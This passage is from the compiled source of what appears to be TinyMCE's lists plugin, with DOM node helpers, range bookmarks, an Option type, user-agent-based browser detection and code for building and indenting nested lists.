      return node && node.nodeName === 'BR';
    };
    var isFirstChild = function (node) {
      return node.parentNode.firstChild === node;
    };
    var isLastChild = function (node) {
      return node.parentNode.lastChild === node;
    };
    var isTextBlock = function (editor, node) {
      return node && !!editor.schema.getTextBlockElements()[node.nodeName];
    };
    var isBlock = function (node, blockElements) {
      return node && node.nodeName in blockElements;
    };
    var isBogusBr = function (dom, node) {
      if (!isBr(node)) {
        return false;
      }
      if (dom.isBlock(node.nextSibling) && !isBr(node.previousSibling)) {
        return true;
      }
      return false;
    };
    var isEmpty = function (dom, elm, keepBookmarks) {
      var empty = dom.isEmpty(elm);
      if (keepBookmarks && dom.select('span[data-mce-type=bookmark]', elm).length > 0) {
        return false;
      }
      return empty;
    };
    var isChildOfBody = function (dom, elm) {
      return dom.isChildOf(elm, dom.getRoot());
    };
    var NodeType = {
      isTextNode: isTextNode,
      isListNode: isListNode,
      isOlUlNode: isOlUlNode,
      isDlItemNode: isDlItemNode,
      isListItemNode: isListItemNode,
      isTableCellNode: isTableCellNode,
      isBr: isBr,
      isFirstChild: isFirstChild,
      isLastChild: isLastChild,
      isTextBlock: isTextBlock,
      isBlock: isBlock,
      isBogusBr: isBogusBr,
      isEmpty: isEmpty,
      isChildOfBody: isChildOfBody
    };

    var getNormalizedPoint = function (container, offset) {
      if (NodeType.isTextNode(container)) {
        return {
          container: container,
          offset: offset
        };
      }
      var node = global$1.getNode(container, offset);
      if (NodeType.isTextNode(node)) {
        return {
          container: node,
          offset: offset >= container.childNodes.length ? node.data.length : 0
        };
      } else if (node.previousSibling && NodeType.isTextNode(node.previousSibling)) {
        return {
          container: node.previousSibling,
          offset: node.previousSibling.data.length
        };
      } else if (node.nextSibling && NodeType.isTextNode(node.nextSibling)) {
        return {
          container: node.nextSibling,
          offset: 0
        };
      }
      return {
        container: container,
        offset: offset
      };
    };
    var normalizeRange = function (rng) {
      var outRng = rng.cloneRange();
      var rangeStart = getNormalizedPoint(rng.startContainer, rng.startOffset);
      outRng.setStart(rangeStart.container, rangeStart.offset);
      var rangeEnd = getNormalizedPoint(rng.endContainer, rng.endOffset);
      outRng.setEnd(rangeEnd.container, rangeEnd.offset);
      return outRng;
    };
    var Range = {
      getNormalizedPoint: getNormalizedPoint,
      normalizeRange: normalizeRange
    };

    var DOM = global$6.DOM;
    var createBookmark = function (rng) {
      var bookmark = {};
      var setupEndPoint = function (start) {
        var offsetNode, container, offset;
        container = rng[start ? 'startContainer' : 'endContainer'];
        offset = rng[start ? 'startOffset' : 'endOffset'];
        if (container.nodeType === 1) {
          offsetNode = DOM.create('span', { 'data-mce-type': 'bookmark' });
          if (container.hasChildNodes()) {
            offset = Math.min(offset, container.childNodes.length - 1);
            if (start) {
              container.insertBefore(offsetNode, container.childNodes[offset]);
            } else {
              DOM.insertAfter(offsetNode, container.childNodes[offset]);
            }
          } else {
            container.appendChild(offsetNode);
          }
          container = offsetNode;
          offset = 0;
        }
        bookmark[start ? 'startContainer' : 'endContainer'] = container;
        bookmark[start ? 'startOffset' : 'endOffset'] = offset;
      };
      setupEndPoint(true);
      if (!rng.collapsed) {
        setupEndPoint();
      }
      return bookmark;
    };
    var resolveBookmark = function (bookmark) {
      function restoreEndPoint(start) {
        var container, offset, node;
        var nodeIndex = function (container) {
          var node = container.parentNode.firstChild, idx = 0;
          while (node) {
            if (node === container) {
              return idx;
            }
            if (node.nodeType !== 1 || node.getAttribute('data-mce-type') !== 'bookmark') {
              idx++;
            }
            node = node.nextSibling;
          }
          return -1;
        };
        container = node = bookmark[start ? 'startContainer' : 'endContainer'];
        offset = bookmark[start ? 'startOffset' : 'endOffset'];
        if (!container) {
          return;
        }
        if (container.nodeType === 1) {
          offset = nodeIndex(container);
          container = container.parentNode;
          DOM.remove(node);
          if (!container.hasChildNodes() && DOM.isBlock(container)) {
            container.appendChild(DOM.create('br'));
          }
        }
        bookmark[start ? 'startContainer' : 'endContainer'] = container;
        bookmark[start ? 'startOffset' : 'endOffset'] = offset;
      }
      restoreEndPoint(true);
      restoreEndPoint();
      var rng = DOM.createRng();
      rng.setStart(bookmark.startContainer, bookmark.startOffset);
      if (bookmark.endContainer) {
        rng.setEnd(bookmark.endContainer, bookmark.endOffset);
      }
      return Range.normalizeRange(rng);
    };
    var Bookmark = {
      createBookmark: createBookmark,
      resolveBookmark: resolveBookmark
    };

    var noop = function () {
    };
    var constant = function (value) {
      return function () {
        return value;
      };
    };
    var not = function (f) {
      return function () {
        var args = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          args[_i] = arguments[_i];
        }
        return !f.apply(null, args);
      };
    };
    var never = constant(false);
    var always = constant(true);

    var none = function () {
      return NONE;
    };
    var NONE = function () {
      var eq = function (o) {
        return o.isNone();
      };
      var call = function (thunk) {
        return thunk();
      };
      var id = function (n) {
        return n;
      };
      var me = {
        fold: function (n, s) {
          return n();
        },
        is: never,
        isSome: never,
        isNone: always,
        getOr: id,
        getOrThunk: call,
        getOrDie: function (msg) {
          throw new Error(msg || 'error: getOrDie called on none.');
        },
        getOrNull: constant(null),
        getOrUndefined: constant(undefined),
        or: id,
        orThunk: call,
        map: none,
        each: noop,
        bind: none,
        exists: never,
        forall: always,
        filter: none,
        equals: eq,
        equals_: eq,
        toArray: function () {
          return [];
        },
        toString: constant('none()')
      };
      if (Object.freeze) {
        Object.freeze(me);
      }
      return me;
    }();
    var some = function (a) {
      var constant_a = constant(a);
      var self = function () {
        return me;
      };
      var bind = function (f) {
        return f(a);
      };
      var me = {
        fold: function (n, s) {
          return s(a);
        },
        is: function (v) {
          return a === v;
        },
        isSome: always,
        isNone: never,
        getOr: constant_a,
        getOrThunk: constant_a,
        getOrDie: constant_a,
        getOrNull: constant_a,
        getOrUndefined: constant_a,
        or: self,
        orThunk: self,
        map: function (f) {
          return some(f(a));
        },
        each: function (f) {
          f(a);
        },
        bind: bind,
        exists: bind,
        forall: bind,
        filter: function (f) {
          return f(a) ? me : NONE;
        },
        toArray: function () {
          return [a];
        },
        toString: function () {
          return 'some(' + a + ')';
        },
        equals: function (o) {
          return o.is(a);
        },
        equals_: function (o, elementEq) {
          return o.fold(never, function (b) {
            return elementEq(a, b);
          });
        }
      };
      return me;
    };
    var from = function (value) {
      return value === null || value === undefined ? NONE : some(value);
    };
    var Option = {
      some: some,
      none: none,
      from: from
    };

    var typeOf = function (x) {
      if (x === null) {
        return 'null';
      }
      var t = typeof x;
      if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) {
        return 'array';
      }
      if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) {
        return 'string';
      }
      return t;
    };
    var isType = function (type) {
      return function (value) {
        return typeOf(value) === type;
      };
    };
    var isString = isType('string');
    var isArray = isType('array');
    var isBoolean = isType('boolean');
    var isFunction = isType('function');
    var isNumber = isType('number');

    var nativeSlice = Array.prototype.slice;
    var nativePush = Array.prototype.push;
    var map = function (xs, f) {
      var len = xs.length;
      var r = new Array(len);
      for (var i = 0; i < len; i++) {
        var x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    var each = function (xs, f) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        f(x, i);
      }
    };
    var filter = function (xs, pred) {
      var r = [];
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };
    var groupBy = function (xs, f) {
      if (xs.length === 0) {
        return [];
      } else {
        var wasType = f(xs[0]);
        var r = [];
        var group = [];
        for (var i = 0, len = xs.length; i < len; i++) {
          var x = xs[i];
          var type = f(x);
          if (type !== wasType) {
            r.push(group);
            group = [];
          }
          wasType = type;
          group.push(x);
        }
        if (group.length !== 0) {
          r.push(group);
        }
        return r;
      }
    };
    var foldl = function (xs, f, acc) {
      each(xs, function (x) {
        acc = f(acc, x);
      });
      return acc;
    };
    var find = function (xs, pred) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          return Option.some(x);
        }
      }
      return Option.none();
    };
    var flatten = function (xs) {
      var r = [];
      for (var i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    var bind = function (xs, f) {
      var output = map(xs, f);
      return flatten(output);
    };
    var reverse = function (xs) {
      var r = nativeSlice.call(xs, 0);
      r.reverse();
      return r;
    };
    var head = function (xs) {
      return xs.length === 0 ? Option.none() : Option.some(xs[0]);
    };
    var last = function (xs) {
      return xs.length === 0 ? Option.none() : Option.some(xs[xs.length - 1]);
    };
    var from$1 = isFunction(Array.from) ? Array.from : function (x) {
      return nativeSlice.call(x);
    };

    var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')();

    var path = function (parts, scope) {
      var o = scope !== undefined && scope !== null ? scope : Global;
      for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) {
        o = o[parts[i]];
      }
      return o;
    };
    var resolve = function (p, scope) {
      var parts = p.split('.');
      return path(parts, scope);
    };

    var unsafe = function (name, scope) {
      return resolve(name, scope);
    };
    var getOrDie = function (name, scope) {
      var actual = unsafe(name, scope);
      if (actual === undefined || actual === null) {
        throw new Error(name + ' not available on this browser');
      }
      return actual;
    };
    var Global$1 = { getOrDie: getOrDie };

    var htmlElement = function (scope) {
      return Global$1.getOrDie('HTMLElement', scope);
    };
    var isPrototypeOf = function (x) {
      var scope = resolve('ownerDocument.defaultView', x);
      return htmlElement(scope).prototype.isPrototypeOf(x);
    };
    var HTMLElement = { isPrototypeOf: isPrototypeOf };

    var global$7 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery');

    var getParentList = function (editor) {
      var selectionStart = editor.selection.getStart(true);
      return editor.dom.getParent(selectionStart, 'OL,UL,DL', getClosestListRootElm(editor, selectionStart));
    };
    var isParentListSelected = function (parentList, selectedBlocks) {
      return parentList && selectedBlocks.length === 1 && selectedBlocks[0] === parentList;
    };
    var findSubLists = function (parentList) {
      return global$5.grep(parentList.querySelectorAll('ol,ul,dl'), function (elm) {
        return NodeType.isListNode(elm);
      });
    };
    var getSelectedSubLists = function (editor) {
      var parentList = getParentList(editor);
      var selectedBlocks = editor.selection.getSelectedBlocks();
      if (isParentListSelected(parentList, selectedBlocks)) {
        return findSubLists(parentList);
      } else {
        return global$5.grep(selectedBlocks, function (elm) {
          return NodeType.isListNode(elm) && parentList !== elm;
        });
      }
    };
    var findParentListItemsNodes = function (editor, elms) {
      var listItemsElms = global$5.map(elms, function (elm) {
        var parentLi = editor.dom.getParent(elm, 'li,dd,dt', getClosestListRootElm(editor, elm));
        return parentLi ? parentLi : elm;
      });
      return global$7.unique(listItemsElms);
    };
    var getSelectedListItems = function (editor) {
      var selectedBlocks = editor.selection.getSelectedBlocks();
      return global$5.grep(findParentListItemsNodes(editor, selectedBlocks), function (block) {
        return NodeType.isListItemNode(block);
      });
    };
    var getSelectedDlItems = function (editor) {
      return filter(getSelectedListItems(editor), NodeType.isDlItemNode);
    };
    var getClosestListRootElm = function (editor, elm) {
      var parentTableCell = editor.dom.getParents(elm, 'TD,TH');
      var root = parentTableCell.length > 0 ? parentTableCell[0] : editor.getBody();
      return root;
    };
    var findLastParentListNode = function (editor, elm) {
      var parentLists = editor.dom.getParents(elm, 'ol,ul', getClosestListRootElm(editor, elm));
      return last(parentLists);
    };
    var getSelectedLists = function (editor) {
      var firstList = findLastParentListNode(editor, editor.selection.getStart());
      var subsequentLists = filter(editor.selection.getSelectedBlocks(), NodeType.isOlUlNode);
      return firstList.toArray().concat(subsequentLists);
    };
    var getSelectedListRoots = function (editor) {
      var selectedLists = getSelectedLists(editor);
      return getUniqueListRoots(editor, selectedLists);
    };
    var getUniqueListRoots = function (editor, lists) {
      var listRoots = map(lists, function (list) {
        return findLastParentListNode(editor, list).getOr(list);
      });
      return global$7.unique(listRoots);
    };
    var isList = function (editor) {
      var list = getParentList(editor);
      return HTMLElement.isPrototypeOf(list);
    };
    var Selection = {
      isList: isList,
      getParentList: getParentList,
      getSelectedSubLists: getSelectedSubLists,
      getSelectedListItems: getSelectedListItems,
      getClosestListRootElm: getClosestListRootElm,
      getSelectedDlItems: getSelectedDlItems,
      getSelectedListRoots: getSelectedListRoots
    };

    var fromHtml = function (html, scope) {
      var doc = scope || domGlobals.document;
      var div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        domGlobals.console.error('HTML does not have a single root node', html);
        throw new Error('HTML must have a single root node');
      }
      return fromDom(div.childNodes[0]);
    };
    var fromTag = function (tag, scope) {
      var doc = scope || domGlobals.document;
      var node = doc.createElement(tag);
      return fromDom(node);
    };
    var fromText = function (text, scope) {
      var doc = scope || domGlobals.document;
      var node = doc.createTextNode(text);
      return fromDom(node);
    };
    var fromDom = function (node) {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: constant(node) };
    };
    var fromPoint = function (docElm, x, y) {
      var doc = docElm.dom();
      return Option.from(doc.elementFromPoint(x, y)).map(fromDom);
    };
    var Element = {
      fromHtml: fromHtml,
      fromTag: fromTag,
      fromText: fromText,
      fromDom: fromDom,
      fromPoint: fromPoint
    };

    var lift2 = function (oa, ob, f) {
      return oa.isSome() && ob.isSome() ? Option.some(f(oa.getOrDie(), ob.getOrDie())) : Option.none();
    };

    var fromElements = function (elements, scope) {
      var doc = scope || domGlobals.document;
      var fragment = doc.createDocumentFragment();
      each(elements, function (element) {
        fragment.appendChild(element.dom());
      });
      return Element.fromDom(fragment);
    };

    var Immutable = function () {
      var fields = [];
      for (var _i = 0; _i < arguments.length; _i++) {
        fields[_i] = arguments[_i];
      }
      return function () {
        var values = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          values[_i] = arguments[_i];
        }
        if (fields.length !== values.length) {
          throw new Error('Wrong number of arguments to struct. Expected "[' + fields.length + ']", got ' + values.length + ' arguments');
        }
        var struct = {};
        each(fields, function (name, i) {
          struct[name] = constant(values[i]);
        });
        return struct;
      };
    };

    var keys = Object.keys;
    var each$1 = function (obj, f) {
      var props = keys(obj);
      for (var k = 0, len = props.length; k < len; k++) {
        var i = props[k];
        var x = obj[i];
        f(x, i);
      }
    };

    var node = function () {
      var f = Global$1.getOrDie('Node');
      return f;
    };
    var compareDocumentPosition = function (a, b, match) {
      return (a.compareDocumentPosition(b) & match) !== 0;
    };
    var documentPositionPreceding = function (a, b) {
      return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_PRECEDING);
    };
    var documentPositionContainedBy = function (a, b) {
      return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_CONTAINED_BY);
    };
    var Node = {
      documentPositionPreceding: documentPositionPreceding,
      documentPositionContainedBy: documentPositionContainedBy
    };

    var cached = function (f) {
      var called = false;
      var r;
      return function () {
        var args = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          args[_i] = arguments[_i];
        }
        if (!called) {
          called = true;
          r = f.apply(null, args);
        }
        return r;
      };
    };

    var firstMatch = function (regexes, s) {
      for (var i = 0; i < regexes.length; i++) {
        var x = regexes[i];
        if (x.test(s)) {
          return x;
        }
      }
      return undefined;
    };
    var find$1 = function (regexes, agent) {
      var r = firstMatch(regexes, agent);
      if (!r) {
        return {
          major: 0,
          minor: 0
        };
      }
      var group = function (i) {
        return Number(agent.replace(r, '$' + i));
      };
      return nu(group(1), group(2));
    };
    var detect = function (versionRegexes, agent) {
      var cleanedAgent = String(agent).toLowerCase();
      if (versionRegexes.length === 0) {
        return unknown();
      }
      return find$1(versionRegexes, cleanedAgent);
    };
    var unknown = function () {
      return nu(0, 0);
    };
    var nu = function (major, minor) {
      return {
        major: major,
        minor: minor
      };
    };
    var Version = {
      nu: nu,
      detect: detect,
      unknown: unknown
    };

    var edge = 'Edge';
    var chrome = 'Chrome';
    var ie = 'IE';
    var opera = 'Opera';
    var firefox = 'Firefox';
    var safari = 'Safari';
    var isBrowser = function (name, current) {
      return function () {
        return current === name;
      };
    };
    var unknown$1 = function () {
      return nu$1({
        current: undefined,
        version: Version.unknown()
      });
    };
    var nu$1 = function (info) {
      var current = info.current;
      var version = info.version;
      return {
        current: current,
        version: version,
        isEdge: isBrowser(edge, current),
        isChrome: isBrowser(chrome, current),
        isIE: isBrowser(ie, current),
        isOpera: isBrowser(opera, current),
        isFirefox: isBrowser(firefox, current),
        isSafari: isBrowser(safari, current)
      };
    };
    var Browser = {
      unknown: unknown$1,
      nu: nu$1,
      edge: constant(edge),
      chrome: constant(chrome),
      ie: constant(ie),
      opera: constant(opera),
      firefox: constant(firefox),
      safari: constant(safari)
    };

    var windows = 'Windows';
    var ios = 'iOS';
    var android = 'Android';
    var linux = 'Linux';
    var osx = 'OSX';
    var solaris = 'Solaris';
    var freebsd = 'FreeBSD';
    var isOS = function (name, current) {
      return function () {
        return current === name;
      };
    };
    var unknown$2 = function () {
      return nu$2({
        current: undefined,
        version: Version.unknown()
      });
    };
    var nu$2 = function (info) {
      var current = info.current;
      var version = info.version;
      return {
        current: current,
        version: version,
        isWindows: isOS(windows, current),
        isiOS: isOS(ios, current),
        isAndroid: isOS(android, current),
        isOSX: isOS(osx, current),
        isLinux: isOS(linux, current),
        isSolaris: isOS(solaris, current),
        isFreeBSD: isOS(freebsd, current)
      };
    };
    var OperatingSystem = {
      unknown: unknown$2,
      nu: nu$2,
      windows: constant(windows),
      ios: constant(ios),
      android: constant(android),
      linux: constant(linux),
      osx: constant(osx),
      solaris: constant(solaris),
      freebsd: constant(freebsd)
    };

    var DeviceType = function (os, browser, userAgent) {
      var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
      var isiPhone = os.isiOS() && !isiPad;
      var isAndroid3 = os.isAndroid() && os.version.major === 3;
      var isAndroid4 = os.isAndroid() && os.version.major === 4;
      var isTablet = isiPad || isAndroid3 || isAndroid4 && /mobile/i.test(userAgent) === true;
      var isTouch = os.isiOS() || os.isAndroid();
      var isPhone = isTouch && !isTablet;
      var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
      return {
        isiPad: constant(isiPad),
        isiPhone: constant(isiPhone),
        isTablet: constant(isTablet),
        isPhone: constant(isPhone),
        isTouch: constant(isTouch),
        isAndroid: os.isAndroid,
        isiOS: os.isiOS,
        isWebView: constant(iOSwebview)
      };
    };

    var detect$1 = function (candidates, userAgent) {
      var agent = String(userAgent).toLowerCase();
      return find(candidates, function (candidate) {
        return candidate.search(agent);
      });
    };
    var detectBrowser = function (browsers, userAgent) {
      return detect$1(browsers, userAgent).map(function (browser) {
        var version = Version.detect(browser.versionRegexes, userAgent);
        return {
          current: browser.name,
          version: version
        };
      });
    };
    var detectOs = function (oses, userAgent) {
      return detect$1(oses, userAgent).map(function (os) {
        var version = Version.detect(os.versionRegexes, userAgent);
        return {
          current: os.name,
          version: version
        };
      });
    };
    var UaString = {
      detectBrowser: detectBrowser,
      detectOs: detectOs
    };

    var contains = function (str, substr) {
      return str.indexOf(substr) !== -1;
    };

    var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
    var checkContains = function (target) {
      return function (uastring) {
        return contains(uastring, target);
      };
    };
    var browsers = [
      {
        name: 'Edge',
        versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
        search: function (uastring) {
          return contains(uastring, 'edge/') && contains(uastring, 'chrome') && contains(uastring, 'safari') && contains(uastring, 'applewebkit');
        }
      },
      {
        name: 'Chrome',
        versionRegexes: [
          /.*?chrome\/([0-9]+)\.([0-9]+).*/,
          normalVersionRegex
        ],
        search: function (uastring) {
          return contains(uastring, 'chrome') && !contains(uastring, 'chromeframe');
        }
      },
      {
        name: 'IE',
        versionRegexes: [
          /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
          /.*?rv:([0-9]+)\.([0-9]+).*/
        ],
        search: function (uastring) {
          return contains(uastring, 'msie') || contains(uastring, 'trident');
        }
      },
      {
        name: 'Opera',
        versionRegexes: [
          normalVersionRegex,
          /.*?opera\/([0-9]+)\.([0-9]+).*/
        ],
        search: checkContains('opera')
      },
      {
        name: 'Firefox',
        versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
        search: checkContains('firefox')
      },
      {
        name: 'Safari',
        versionRegexes: [
          normalVersionRegex,
          /.*?cpu os ([0-9]+)_([0-9]+).*/
        ],
        search: function (uastring) {
          return (contains(uastring, 'safari') || contains(uastring, 'mobile/')) && contains(uastring, 'applewebkit');
        }
      }
    ];
    var oses = [
      {
        name: 'Windows',
        search: checkContains('win'),
        versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'iOS',
        search: function (uastring) {
          return contains(uastring, 'iphone') || contains(uastring, 'ipad');
        },
        versionRegexes: [
          /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
          /.*cpu os ([0-9]+)_([0-9]+).*/,
          /.*cpu iphone os ([0-9]+)_([0-9]+).*/
        ]
      },
      {
        name: 'Android',
        search: checkContains('android'),
        versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'OSX',
        search: checkContains('os x'),
        versionRegexes: [/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]
      },
      {
        name: 'Linux',
        search: checkContains('linux'),
        versionRegexes: []
      },
      {
        name: 'Solaris',
        search: checkContains('sunos'),
        versionRegexes: []
      },
      {
        name: 'FreeBSD',
        search: checkContains('freebsd'),
        versionRegexes: []
      }
    ];
    var PlatformInfo = {
      browsers: constant(browsers),
      oses: constant(oses)
    };

    var detect$2 = function (userAgent) {
      var browsers = PlatformInfo.browsers();
      var oses = PlatformInfo.oses();
      var browser = UaString.detectBrowser(browsers, userAgent).fold(Browser.unknown, Browser.nu);
      var os = UaString.detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu);
      var deviceType = DeviceType(os, browser, userAgent);
      return {
        browser: browser,
        os: os,
        deviceType: deviceType
      };
    };
    var PlatformDetection = { detect: detect$2 };

    var detect$3 = cached(function () {
      var userAgent = domGlobals.navigator.userAgent;
      return PlatformDetection.detect(userAgent);
    });
    var PlatformDetection$1 = { detect: detect$3 };

    var ATTRIBUTE = domGlobals.Node.ATTRIBUTE_NODE;
    var CDATA_SECTION = domGlobals.Node.CDATA_SECTION_NODE;
    var COMMENT = domGlobals.Node.COMMENT_NODE;
    var DOCUMENT = domGlobals.Node.DOCUMENT_NODE;
    var DOCUMENT_TYPE = domGlobals.Node.DOCUMENT_TYPE_NODE;
    var DOCUMENT_FRAGMENT = domGlobals.Node.DOCUMENT_FRAGMENT_NODE;
    var ELEMENT = domGlobals.Node.ELEMENT_NODE;
    var TEXT = domGlobals.Node.TEXT_NODE;
    var PROCESSING_INSTRUCTION = domGlobals.Node.PROCESSING_INSTRUCTION_NODE;
    var ENTITY_REFERENCE = domGlobals.Node.ENTITY_REFERENCE_NODE;
    var ENTITY = domGlobals.Node.ENTITY_NODE;
    var NOTATION = domGlobals.Node.NOTATION_NODE;

    var ELEMENT$1 = ELEMENT;
    var is = function (element, selector) {
      var dom = element.dom();
      if (dom.nodeType !== ELEMENT$1) {
        return false;
      } else {
        var elem = dom;
        if (elem.matches !== undefined) {
          return elem.matches(selector);
        } else if (elem.msMatchesSelector !== undefined) {
          return elem.msMatchesSelector(selector);
        } else if (elem.webkitMatchesSelector !== undefined) {
          return elem.webkitMatchesSelector(selector);
        } else if (elem.mozMatchesSelector !== undefined) {
          return elem.mozMatchesSelector(selector);
        } else {
          throw new Error('Browser lacks native selectors');
        }
      }
    };

    var eq = function (e1, e2) {
      return e1.dom() === e2.dom();
    };
    var regularContains = function (e1, e2) {
      var d1 = e1.dom();
      var d2 = e2.dom();
      return d1 === d2 ? false : d1.contains(d2);
    };
    var ieContains = function (e1, e2) {
      return Node.documentPositionContainedBy(e1.dom(), e2.dom());
    };
    var browser = PlatformDetection$1.detect().browser;
    var contains$1 = browser.isIE() ? ieContains : regularContains;
    var is$1 = is;

    var parent = function (element) {
      return Option.from(element.dom().parentNode).map(Element.fromDom);
    };
    var children = function (element) {
      return map(element.dom().childNodes, Element.fromDom);
    };
    var child = function (element, index) {
      var cs = element.dom().childNodes;
      return Option.from(cs[index]).map(Element.fromDom);
    };
    var firstChild = function (element) {
      return child(element, 0);
    };
    var lastChild = function (element) {
      return child(element, element.dom().childNodes.length - 1);
    };
    var spot = Immutable('element', 'offset');

    var before = function (marker, element) {
      var parent$1 = parent(marker);
      parent$1.each(function (v) {
        v.dom().insertBefore(element.dom(), marker.dom());
      });
    };
    var append = function (parent, element) {
      parent.dom().appendChild(element.dom());
    };

    var before$1 = function (marker, elements) {
      each(elements, function (x) {
        before(marker, x);
      });
    };
    var append$1 = function (parent, elements) {
      each(elements, function (x) {
        append(parent, x);
      });
    };

    var remove = function (element) {
      var dom = element.dom();
      if (dom.parentNode !== null) {
        dom.parentNode.removeChild(dom);
      }
    };

    var name = function (element) {
      var r = element.dom().nodeName;
      return r.toLowerCase();
    };
    var type = function (element) {
      return element.dom().nodeType;
    };
    var isType$1 = function (t) {
      return function (element) {
        return type(element) === t;
      };
    };
    var isElement = isType$1(ELEMENT);

    var rawSet = function (dom, key, value) {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        domGlobals.console.error('Invalid call to Attr.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    var setAll = function (element, attrs) {
      var dom = element.dom();
      each$1(attrs, function (v, k) {
        rawSet(dom, k, v);
      });
    };
    var clone = function (element) {
      return foldl(element.dom().attributes, function (acc, attr) {
        acc[attr.name] = attr.value;
        return acc;
      }, {});
    };

    var isSupported = function (dom) {
      return dom.style !== undefined && isFunction(dom.style.getPropertyValue);
    };

    var internalSet = function (dom, property, value) {
      if (!isString(value)) {
        domGlobals.console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom);
        throw new Error('CSS value must be a string: ' + value);
      }
      if (isSupported(dom)) {
        dom.style.setProperty(property, value);
      }
    };
    var set = function (element, property, value) {
      var dom = element.dom();
      internalSet(dom, property, value);
    };

    var clone$1 = function (original, isDeep) {
      return Element.fromDom(original.dom().cloneNode(isDeep));
    };
    var deep = function (original) {
      return clone$1(original, true);
    };
    var shallowAs = function (original, tag) {
      var nu = Element.fromTag(tag);
      var attributes = clone(original);
      setAll(nu, attributes);
      return nu;
    };
    var mutate = function (original, tag) {
      var nu = shallowAs(original, tag);
      before(original, nu);
      var children$1 = children(original);
      append$1(nu, children$1);
      remove(original);
      return nu;
    };

    var joinSegment = function (parent, child) {
      append(parent.item, child.list);
    };
    var joinSegments = function (segments) {
      for (var i = 1; i < segments.length; i++) {
        joinSegment(segments[i - 1], segments[i]);
      }
    };
    var appendSegments = function (head$1, tail) {
      lift2(last(head$1), head(tail), joinSegment);
    };
    var createSegment = function (scope, listType) {
      var segment = {
        list: Element.fromTag(listType, scope),
        item: Element.fromTag('li', scope)
      };
      append(segment.list, segment.item);
      return segment;
    };
    var createSegments = function (scope, entry, size) {
      var segments = [];
      for (var i = 0; i < size; i++) {
        segments.push(createSegment(scope, entry.listType));
      }
      return segments;
    };
    var populateSegments = function (segments, entry) {
      for (var i = 0; i < segments.length - 1; i++) {
        set(segments[i].item, 'list-style-type', 'none');
      }
      last(segments).each(function (segment) {
        setAll(segment.list, entry.listAttributes);
        setAll(segment.item, entry.itemAttributes);
        append$1(segment.item, entry.content);
      });
    };
    var normalizeSegment = function (segment, entry) {
      if (name(segment.list) !== entry.listType) {
        segment.list = mutate(segment.list, entry.listType);
      }
      setAll(segment.list, entry.listAttributes);
    };
    var createItem = function (scope, attr, content) {
      var item = Element.fromTag('li', scope);
      setAll(item, attr);
      append$1(item, content);
      return item;
    };
    var appendItem = function (segment, item) {
      append(segment.list, item);
      segment.item = item;
    };
    var writeShallow = function (scope, cast, entry) {
      var newCast = cast.slice(0, entry.depth);
      last(newCast).each(function (segment) {
        var item = createItem(scope, entry.itemAttributes, entry.content);
        appendItem(segment, item);
        normalizeSegment(segment, entry);
      });
      return newCast;
    };
    var writeDeep = function (scope, cast, entry) {
      var segments = createSegments(scope, entry, entry.depth - cast.length);
      joinSegments(segments);
      populateSegments(segments, entry);
      appendSegments(cast, segments);
      return cast.concat(segments);
    };
    var composeList = function (scope, entries) {
      var cast = foldl(entries, function (cast, entry) {
        return entry.depth > cast.length ? writeDeep(scope, cast, entry) : writeShallow(scope, cast, entry);
      }, []);
      return head(cast).map(function (segment) {
        return segment.list;
      });
    };

    var isList$1 = function (el) {
      return is$1(el, 'OL,UL');
    };
    var hasFirstChildList = function (el) {
      return firstChild(el).map(isList$1).getOr(false);
    };
    var hasLastChildList = function (el) {
      return lastChild(el).map(isList$1).getOr(false);
    };

    var isIndented = function (entry) {
      return entry.depth > 0;
    };
    var isSelected = function (entry) {
      return entry.isSelected;
    };
    var cloneItemContent = function (li) {
      var children$1 = children(li);
      var content = hasLastChildList(li) ? children$1.slice(0, -1) : children$1;
      return map(content, deep);
    };
    var createEntry = function (li, depth, isSelected) {
      return parent(li).filter(isElement).map(function (list) {
        return {
          depth: depth,
          isSelected: isSelected,
          content: cloneItemContent(li),
          itemAttributes: clone(li),
          listAttributes: clone(list),
          listType: name(list)
        };
      });
    };

    var indentEntry = function (indentation, entry) {
      switch (indentation) {
      case 'Indent':
        entry.depth++;
        break;
      case 'Outdent':
        entry.depth--;
        break;
      case 'Flatten':
        entry.depth = 0;
      }
    };

    var hasOwnProperty = Object.prototype.hasOwnProperty;
    var shallow = function (old, nu) {
